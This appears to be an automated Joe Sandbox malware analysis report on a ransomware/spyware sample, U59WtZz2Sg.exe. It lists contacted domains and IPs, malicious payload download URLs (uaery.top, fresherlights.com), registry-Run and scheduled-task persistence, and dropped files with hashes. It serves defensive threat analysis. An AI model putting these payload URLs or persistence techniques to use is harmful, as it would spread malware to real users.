http://aka.ms/rmssdk)	U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.youtube.com/	U59WtZz2Sg.exe, 00000005.00000003.351612553.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BE6B7572D	U59WtZz2Sg.exe, 00000005.00000003.420123871.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=02Google	U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.qt.io/terms-conditions.	U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.openssl.org/)	U59WtZz2Sg.exe, 00000005.00000003.408637409.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.inkscape.org/namespaces/inkscape	U59WtZz2Sg.exe, 00000005.00000003.507888546.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.501922929.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/	U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/document/	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.qt.io/licensing/	U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/installwebapp?usp=chrome_default	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.google.com/drive/installwebapp?usp=chrome_default	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/favicons/favicon-16x16.png	U59WtZz2Sg.exe, 00000005.00000003.444451772.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.amazon.com/	U59WtZz2Sg.exe, 00000005.00000003.349908003.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/B	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/document/installwebapp?usp=chrome_default	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://sandbox.google.com/payments/v4/js/integrator.js	U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.twitter.com/	U59WtZz2Sg.exe, 00000005.00000003.350997403.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/:	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/installwebapp?usp=chrome_default	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	U59WtZz2Sg.exe, 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	U59WtZz2Sg.exe, 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://docs.google.com/spreadsheets/?usp=installed_webapp	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/B	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://aka.ms/sia	U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2	U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://fresherlights.com/files/1/build3.exe$run	U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/spreadsheets/:	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.freetype.org	U59WtZz2Sg.exe, 00000005.00000003.408637409.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0	U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://uaery.top/dl/build2.exerunk6	U59WtZz2Sg.exe, 00000005.00000003.385286762.000000000086A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facebook.github.io/react/docs/error-decoder.html?invariant	U59WtZz2Sg.exe, 00000005.00000003.536209004.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.536117643.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.nytimes.com/	U59WtZz2Sg.exe, 00000005.00000003.350793064.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.google.com/:	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/	U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.385286762.000000000086A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://aka.ms/rmsfaq)	U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=	U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/Vh5j3k	U59WtZz2Sg.exe, 00000005.00000003.457247775.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://creativecommons.org/ns#	U59WtZz2Sg.exe, 00000005.00000003.507888546.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.501922929.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
116.121.62.237	uaery.top	Korea Republic of	9578	CJNET-ASCheiljedangCoIncKR	true
88.198.94.71	unknown	Germany	24940	HETZNER-ASDE	false
162.0.217.254	api.2ip.ua	Canada	35893	ACPCA	false
222.236.49.123	fresherlights.com	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756302
Start date and time:	2022-11-30 00:21:09 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 39s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	U59WtZz2Sg.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@32/1330@8/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 93.5% (good quality ratio 87.2%) Quality average: 80.4% Quality standard deviation: 29.9%
HCA Information:	Successful, ratio: 93% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, conhost.exe, svchost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
Excluded domains from analysis (whitelisted): client.wns.windows.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:22:11	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe s>--Task
00:22:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
00:22:18	API Interceptor	1x Sleep call for process: U59WtZz2Sg.exe modified
00:22:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
00:22:28	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Process:	C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.287139506398081
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPF6n/YVuzdqfEwn7PrH944:QS/indc/YVuzdqfEwn7b944
MD5:	292F98D765C8712910776C89ADDE2311
SHA1:	E9F4CCB4577B3E6857C6116C9CBA0F3EC63878C5
SHA-256:	9C63F8321526F04D4CD0CFE11EA32576D1502272FE8333536B9DEE2C3B49825E
SHA-512:	205764B34543D8B53118B3AEA88C550B2273E6EBC880AAD5A106F8DB11D520EB8FD6EFD3DB3B87A4500D287187832FCF18F60556072DD7F5CC947BB7A4E3C3C1
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\28325875654976084354326271

Download File

Process:	C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 2, database pages 36, 1st free page 10, free pages 4, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.45387870883890413
Encrypted:	false
SSDEEP:	96:iWvdU+bb3DtSOaDN6tOVjN9DLjGQLBE3u:iWvK+H3NGN6IVj3XBBE3u
MD5:	9D9851BF9104273B5AB6337A4E38A4AE
SHA1:	0FF6130A7A10B06B73DAB3687ABA6FCD4E92C2E8
SHA-256:	DBC976D79FBC0F3BA62CDEA6EFDDEEAE0ADD7EBF092B865DBB907A1D9B9DA5E1
SHA-512:	DEF485857FB1F882895122AF5ABBC502E708CA62735FF8AC855DEAEC7334D9858019D7889E90B64258EA08E634F3826B7962C29F331392670521C6EABEA0F5E8
Malicious:	false
Preview:	SQLite format 3......@ .......$...........&......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\28516965580031020035471649

Download File

Process:	C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 2, database pages 36, 1st free page 10, free pages 4, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.45387870883890413
Encrypted:	false
SSDEEP:	96:iWvdU+bb3DtSOaDN6tOVjN9DLjGQLBE3u:iWvK+H3NGN6IVj3XBBE3u
MD5:	9D9851BF9104273B5AB6337A4E38A4AE
SHA1:	0FF6130A7A10B06B73DAB3687ABA6FCD4E92C2E8
SHA-256:	DBC976D79FBC0F3BA62CDEA6EFDDEEAE0ADD7EBF092B865DBB907A1D9B9DA5E1
SHA-512:	DEF485857FB1F882895122AF5ABBC502E708CA62735FF8AC855DEAEC7334D9858019D7889E90B64258EA08E634F3826B7962C29F331392670521C6EABEA0F5E8
Malicious:	false
Preview:	SQLite format 3......@ .......$...........&......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\50023325401737157063598945

Download File

Process:	C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\53195122028892118046415569

Download File

Process:	C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.287139506398081
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPF6n/YVuzdqfEwn7PrH944:QS/indc/YVuzdqfEwn7b944
MD5:	292F98D765C8712910776C89ADDE2311
SHA1:	E9F4CCB4577B3E6857C6116C9CBA0F3EC63878C5
SHA-256:	9C63F8321526F04D4CD0CFE11EA32576D1502272FE8333536B9DEE2C3B49825E
SHA-512:	205764B34543D8B53118B3AEA88C550B2273E6EBC880AAD5A106F8DB11D520EB8FD6EFD3DB3B87A4500D287187832FCF18F60556072DD7F5CC947BB7A4E3C3C1
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\69859612379489584907088796

Download File

Process:	C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 10, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4393511334109407
Encrypted:	false
SSDEEP:	24:TLqlj1czkwubXYFpFNYcw+6UwcYzHrSl:TyxcYwuLopFgU1YzLSl
MD5:	8C31C5487A97BBE73711C5E20600C1F6
SHA1:	D4D6B04226D8FFC894749B3963E7DB7068D6D773
SHA-256:	A1326E74262F4B37628F2E712EC077F499B113181A1E937E752D046E43F1689A
SHA-512:	394391350524B994504F4E748CCD5C3FA8EF980AED850A5A60F09250E8261AC8E300657CBB1DBF305729637BC0E1F043E57799E2A35C82EEA3825CE5C9E7051D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.8208888513501895
Encrypted:	false
SSDEEP:	3:cRJ1x6qwZdUmnIQdOX:cHGxnti
MD5:	53BC8AA5E48C1DA5C959E645EBD3BF0B
SHA1:	1425194A71023EB54098B76F5DE96C89D06CBFA3
SHA-256:	8D177185C26DB03DA48D7944B355DAAEC9FA251A377401DE195F7520FFE84B53
SHA-512:	DEC60480AEABE911DFA29F92C37ED8A3E89342A8A34834FE96B97DEF47A3A4633897AA65D5A93033DEAD54E504B5204EC4031ACCF6D4C09C63A560BF6EA0FC30
Malicious:	false
Preview:	K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	459
Entropy (8bit):	7.535586892873741
Encrypted:	false
SSDEEP:	12:vc6EeJgoT/kJTZH0g1W/9JgHFWVMtcii9a:vc6zwJTZUd6WVybD
MD5:	28C137D21FF97436D503CB1FC791D488
SHA1:	4E4A9A6311E04B3E9FFAB8C7D5C9DE744BB5DCBF
SHA-256:	26FA2C2A74B0D9A23F4157810720E784EB520D6CB3C9AA99C16593B2A91D0858
SHA-512:	2FEAA4CBB25A2DA3D6CA3FA6209AF4C5F4C55C3B2FD4A5A587A09ACDE24E57A341D705828DB900FE6F09549EB8EB24993396C1E3636B355A6C708D699ADC3B7E
Malicious:	false
Preview:	2019/.Y...\..M..\|.]..(c..h..Tu<.E...u.}.<p...H.....jm....#..^}H!..atMZ1{...\|.f.,.L...i.DU.l.6...bAl.r?..J"]..P..#):"..2Q).j...r........0V.%.....s..V;.z.3.'.g..v........I...Zi(........p]........g\j....r..7V....:.....Z......O..W...X...-.W{h.M...e.m{...E.l.>....:...........H..G.@$.D.s.....j.!....Q. ~O?._..Y.&..q5.7..)C3>.M;M:.mq.......B.....[ ..Z....Aj.2..E_...lK6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\4DDQNYCN\www.msn[1].xml

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.2641222679610795
Encrypted:	false
SSDEEP:	6:hnMyNmQqSg4/yUY5PEgh3YMXrrZe8tYFt0mOk05OGxntHcii96Z:zNiSgoFOPEghoM7AEgt0mLCRtcii9a
MD5:	5C207E0ED495D67925B2ED17358A7AD7
SHA1:	E241A04EE6971342F9AFAFFDA97A1BA16AB89974
SHA-256:	022028B912BEB092B738681DE41CA794FE3941E30E161169272C898107950613
SHA-512:	125A098430FD7EC198CE394576C893E79404F12AD1B44A78ED46F1F56DF1B0975DDD9F278B0DE76E3970445E6B3F93474B07B3EF77B0F5E807D368F04D2C99A1
Malicious:	false
Preview:	<root!.......@.."..../.Q....a.R...b...+4-qr\..[.K.......j!..(.7.:Ul$]..M.....E...uK.d.sD..6..c3.)O.[K..T<\..)Zc.3.[.Wt.......%.--8)).....a.6..(.-.Xu.#L.....V..&.D)..}.\|.LT$....}o.a..V......U.5.S!>g..8{\|...e..T....[}..Ma..j.W..c......{.nF.T@..3e....%.h.v.G...K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	680782
Entropy (8bit):	7.986526926520813
Encrypted:	false
SSDEEP:	12288:EEmMtgZhgT9uMA9F8GJF6y9NbgGUx0kXZPwtSRGG/t6i5l5kCYlSV:NmMtScu93d9V3U/XZPwYRGQ6i5l5k5lE
MD5:	E9FE84B69073056ECAC6B24F92F6F06B
SHA1:	7C015C421C888F822EBD97E41EC4FC0C9FFEDAFA
SHA-256:	494AC478C50EF9CBC55ED6C7D324CE84AE63FBF0809825C58C17BE91D4078CEC
SHA-512:	1FBEA24E99F888BE972110079B2F00A32E8D54F57D477B79C8E3500A1999923AA524EA5F7802EC525EB1C97BBE554D1F2EEA75F68C3DA271DC496BC207036F7E
Malicious:	true
Preview:	MZ...,...zz]..1..8@ .....d}(z.#}.e..N?cn.s.~.$.Y...=.K_...N...I...x..l.8@.^W...M...(.W.;8..i..O.h...~...'...O=i..;vgC....Io..[7..sN.O.T}.B..X.._...\|V..A....(.A..l].....o..S...s..0l.3.~.N....b.M....E.q.k.d.R..P......I.......(?.+u...............!..;.%..Ov.......r.......;Q.o....-^.Vs..l.....g.W....q...;.b..T.3:....9...U.`.[....m.T.8.j..t......U.....mUrW,.P@.>..^...=R#.>.9D.+=.Z.].rQ.7.X./.............."D'.A..Pv^.yrb...y.D...-P.,/7....=P.f..;.G..V&...<<c_.UH._...)F..r.+.p.3.....Q.c..].I...j.&?OO...U.lj+.e...z....]q........mx.DVOM..:dG.}s.9.......m....4.p.-%...5.~.&..VQP_.n.[...v..@(.:c~]i..d......7....%."......cl._........$l.G...!^.ta...H.?.)..:jS<._z.8)R....E....DZ&.R.z.PJWE3d..i.]...*,.GZYLv[...(.C...k(66....V...g}.;U&..&.g......p..?T.^.Y....I.[.$...I...Y..I.......a....b..2...IQ..E.w..N.vv..)..LN(.{...y.../.)~..v...b.g _..?..0.YyAoR.JJR..G... .Dn.w..I..a.V...W<...l..j...S...:G.N..M.k..h...)..)...]...t.[..1.=..b.I....V5.G...KE}K......4f..

C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	264526
Entropy (8bit):	7.940912258179112
Encrypted:	false
SSDEEP:	6144:e93X+uSFbjtZ75h10z8LCPd7JkwzLs0+mKnBtt7:e93X+jJLCPNSwz5tItt7
MD5:	4CC7A6D87A0FF8F645877054501FE9E7
SHA1:	C17DDD0E5ACB6144D01F8A875FA5BA26549E37D7
SHA-256:	46514ABE0BE791F544BA44E2E6348C24174683A15DB8B53EFFA79F0DB506A795
SHA-512:	A09E1D4C4FE972E0361BD49F7F9D4F9A0D8645879F6D64013DA722A2B679AB85C4D9BC88CE9012342C325D367AE59A8EF1C50E82C372B6689FDE507185A2532B
Malicious:	true
